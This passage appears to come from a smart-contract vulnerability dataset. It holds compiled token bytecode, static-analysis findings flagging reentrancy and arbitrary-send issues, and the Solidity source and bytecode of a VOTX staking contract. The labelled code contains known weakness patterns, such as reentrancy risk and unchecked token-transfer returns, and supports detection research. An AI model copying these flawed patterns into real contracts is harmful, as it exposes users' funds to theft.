ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600c600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200f63c6dc885c8fdc0fdc3f966819cad3b2824ad157a80bb8e0af4d3e4021e8da64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 642 |
0xf79420bcd6a96da8bd58c7f4f7191d1a88408e1c | pragma solidity >=0.7.0;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract VOTX_Staking is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// YFD token contract address
address public constant tokenDepositAddress = 0x4F4F0Ef7978737ce928BFF395529161b44e27ad9;
// VOTX token contract address
address public constant tokenRewardAddress = 0xF94D66fb399a98b33563D87447B41A6A75bfFDF0;
// Reward rate 208.00% per year
uint public rewardRate = 1040000;
uint public constant rewardInterval = 365 days;
// Staking fee 1 percent
uint public constant stakingFeeRate = 100;
// Unstaking fee 0.50 percent
uint public constant unstakingFeeRate = 50;
// Unstaking possible after 30 days
uint public constant unstakeTime = 30 days;
// Claiming possible after 30 days
uint public constant claimTime = 30 days;
// Pool size = 1000 YFD
uint public constant maxPoolSize = 1000000000000000000000;
uint public poolSize = 1000000000000000000000;
// Total rewards = 10000 VOTX
uint public constant rewardsAvailable = 10000000000000000000000;
uint public totalClaimedRewards = 0;
uint public totalDeposited = 0;
bool public ended ;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime; //used for the unstaking locktime
mapping (address => uint) public lastClaimedTime; //used for the claiming locktime
mapping (address => uint) public totalEarnedTokens;
mapping (address => uint) public rewardEnded;
//End the staking pool
function end() public onlyOwner returns (bool){
require(!ended, "Staking already ended");
for(uint i = 0; i < holders.length(); i = i.add(1)){
rewardEnded[holders.at(i)] = getPendingDivs(holders.at(i));
}
ended = true;
return true;
}
function getRewardsLeft() public view returns (uint){
uint _res;
if(ended){
_res = 0;
}else{
uint totalPending;
for(uint i = 0; i < holders.length(); i = i.add(1)){
totalPending = totalPending.add(getPendingDivs(holders.at(i)));
}
_res = rewardsAvailable.sub(totalClaimedRewards).sub(totalPending);
}
return _res;
}
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(tokenRewardAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
rewardEnded[account] = 0;
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = block.timestamp;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint pendingDivs;
if(!ended){
uint timeDiff = block.timestamp.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
pendingDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
}else{
pendingDivs = rewardEnded[_holder];
}
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToStake) public {
require(!ended, "Staking has ended");
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(amountToStake <= poolSize, "No space available");
require(Token(tokenDepositAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
uint fee = amountToStake.mul(stakingFeeRate).div(1e4);
uint amountAfterFee = amountToStake.sub(fee);
require(Token(tokenDepositAddress).transfer(owner, fee), "Could not transfer deposit fee.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee);
poolSize = poolSize.sub(amountAfterFee);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
}
stakingTime[msg.sender] = block.timestamp;
}
function withdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
if(!ended){
require(block.timestamp.sub(stakingTime[msg.sender]) > unstakeTime, "You recently staked, please wait before withdrawing.");
}
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(tokenDepositAddress).transfer(owner, fee), "Could not transfer withdraw fee.");
require(Token(tokenDepositAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
poolSize = poolSize.add(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claimDivs() public {
if(!ended){
require(block.timestamp.sub(lastClaimedTime[msg.sender]) > claimTime, "Not yet");
}
updateAccount(msg.sender);
}
function getStakersList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakingTimestamps[listIndex] = stakingTime[staker];
_lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker];
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
// function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake)
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
require (_tokenAddr != tokenDepositAddress && _tokenAddr != tokenRewardAddress, "Cannot Transfer Out this token");
Token(_tokenAddr).transfer(_to, _amount);
}
} | 0x608060405234801561001057600080fd5b50600436106101da5760003560e01c806398896d1011610104578063d7e52745116100a2578063f2fde38b11610071578063f2fde38b146107e0578063f3f91fa014610824578063fc558a711461087c578063ff50abdc146108b0576101da565b8063d7e5274514610766578063d816c7d514610784578063e7a7250a146107a2578063efbe1c1c146107c0576101da565b8063c326bf4f116100de578063c326bf4f1461067a578063c3e5ae53146106d2578063c5579dc01461072a578063d578ceab14610748576101da565b806398896d10146105d6578063b6b55f251461062e578063bec4de3f1461065c576101da565b80634ec18db91161017c5780636a395ccb1161014b5780636a395ccb146104e25780637b0a47ee14610550578063872a45181461056e5780638da5cb5b146105a2576101da565b80634ec18db9146103f6578063583d42fd146104145780635ef057be1461046c5780636270cd181461048a576101da565b806319aa70e7116101b857806319aa70e71461038257806327b3bf111461038c5780632e1a7d4d146103aa578063308feec3146103d8576101da565b806312307917146101df57806312fa6feb146101fd5780631911cf4a1461021d575b600080fd5b6101e76108ce565b6040518082815260200191505060405180910390f35b610205610990565b60405180821515815260200191505060405180910390f35b6102536004803603604081101561023357600080fd5b8101908080359060200190929190803590602001909291905050506109a3565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b838110156102a2578082015181840152602081019050610287565b50505050905001858103845288818151815260200191508051906020019060200280838360005b838110156102e45780820151818401526020810190506102c9565b50505050905001858103835287818151815260200191508051906020019060200280838360005b8381101561032657808201518184015260208101905061030b565b50505050905001858103825286818151815260200191508051906020019060200280838360005b8381101561036857808201518184015260208101905061034d565b505050509050019850505050505050505060405180910390f35b61038a610cbc565b005b610394610da5565b6040518082815260200191505060405180910390f35b6103d6600480360360208110156103c057600080fd5b8101908080359060200190929190505050610dac565b005b6103e0611321565b6040518082815260200191505060405180910390f35b6103fe611332565b6040518082815260200191505060405180910390f35b6104566004803603602081101561042a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611338565b6040518082815260200191505060405180910390f35b610474611350565b6040518082815260200191505060405180910390f35b6104cc600480360360208110156104a057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611355565b6040518082815260200191505060405180910390f35b61054e600480360360608110156104f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061136d565b005b610558611579565b6040518082815260200191505060405180910390f35b61057661157f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105aa611597565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610618600480360360208110156105ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115bb565b6040518082815260200191505060405180910390f35b61065a6004803603602081101561064457600080fd5b8101908080359060200190929190505050611786565b005b610664611d0c565b6040518082815260200191505060405180910390f35b6106bc6004803603602081101561069057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d14565b6040518082815260200191505060405180910390f35b610714600480360360208110156106e857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d2c565b6040518082815260200191505060405180910390f35b610732611d44565b6040518082815260200191505060405180910390f35b610750611d51565b6040518082815260200191505060405180910390f35b61076e611d57565b6040518082815260200191505060405180910390f35b61078c611d5e565b6040518082815260200191505060405180910390f35b6107aa611d63565b6040518082815260200191505060405180910390f35b6107c8611d71565b60405180821515815260200191505060405180910390f35b610822600480360360208110156107f657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f13565b005b6108666004803603602081101561083a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612062565b6040518082815260200191505060405180910390f35b61088461207a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6108b8612092565b6040518082815260200191505060405180910390f35b600080600560009054906101000a900460ff16156108ef5760009050610989565b600080600090505b6109016006612098565b811015610953576109366109276109228360066120ad90919063ffffffff16565b6115bb565b836120c790919063ffffffff16565b915061094c6001826120c790919063ffffffff16565b90506108f7565b506109858161097760035469021e19e0c9bab24000006120e390919063ffffffff16565b6120e390919063ffffffff16565b9150505b8091505090565b600560009054906101000a900460ff1681565b6060806060808486106109b557600080fd5b60006109ca87876120e390919063ffffffff16565b905060008167ffffffffffffffff811180156109e557600080fd5b50604051908082528060200260200182016040528015610a145781602001602082028036833780820191505090505b50905060008267ffffffffffffffff81118015610a3057600080fd5b50604051908082528060200260200182016040528015610a5f5781602001602082028036833780820191505090505b50905060008367ffffffffffffffff81118015610a7b57600080fd5b50604051908082528060200260200182016040528015610aaa5781602001602082028036833780820191505090505b50905060008467ffffffffffffffff81118015610ac657600080fd5b50604051908082528060200260200182016040528015610af55781602001602082028036833780820191505090505b50905060008b90505b8a811015610ca1576000610b1c8260066120ad90919063ffffffff16565b90506000610b338e846120e390919063ffffffff16565b905081878281518110610b4257fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054868281518110610bc857fe5b602002602001018181525050600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054858281518110610c2057fe5b602002602001018181525050600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054848281518110610c7857fe5b6020026020010181815250505050610c9a6001826120c790919063ffffffff16565b9050610afe565b50838383839850985098509850505050505092959194509250565b600560009054906101000a900460ff16610d9a5762278d00610d26600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054426120e390919063ffffffff16565b11610d99576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f4e6f74207965740000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b610da3336120fa565b565b62278d0081565b80600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e61576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b600560009054906101000a900460ff16610f225762278d00610ecb600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054426120e390919063ffffffff16565b11610f21576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260348152602001806126df6034913960400191505060405180910390fd5b5b610f2b336120fa565b6000610f55612710610f476032856123d590919063ffffffff16565b61240490919063ffffffff16565b90506000610f6c82846120e390919063ffffffff16565b9050734f4f0ef7978737ce928bff395529161b44e27ad973ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561101357600080fd5b505af1158015611027573d6000803e3d6000fd5b505050506040513d602081101561103d57600080fd5b81019080805190602001909291905050506110c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f436f756c64206e6f74207472616e73666572207769746864726177206665652e81525060200191505060405180910390fd5b734f4f0ef7978737ce928bff395529161b44e27ad973ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561114557600080fd5b505af1158015611159573d6000803e3d6000fd5b505050506040513d602081101561116f57600080fd5b81019080805190602001909291905050506111f2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b61124483600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120e390919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061129c836002546120c790919063ffffffff16565b6002819055506112b633600661241d90919063ffffffff16565b801561130157506000600860003373ffffffffffffffffffffffffffffffffffffffff1673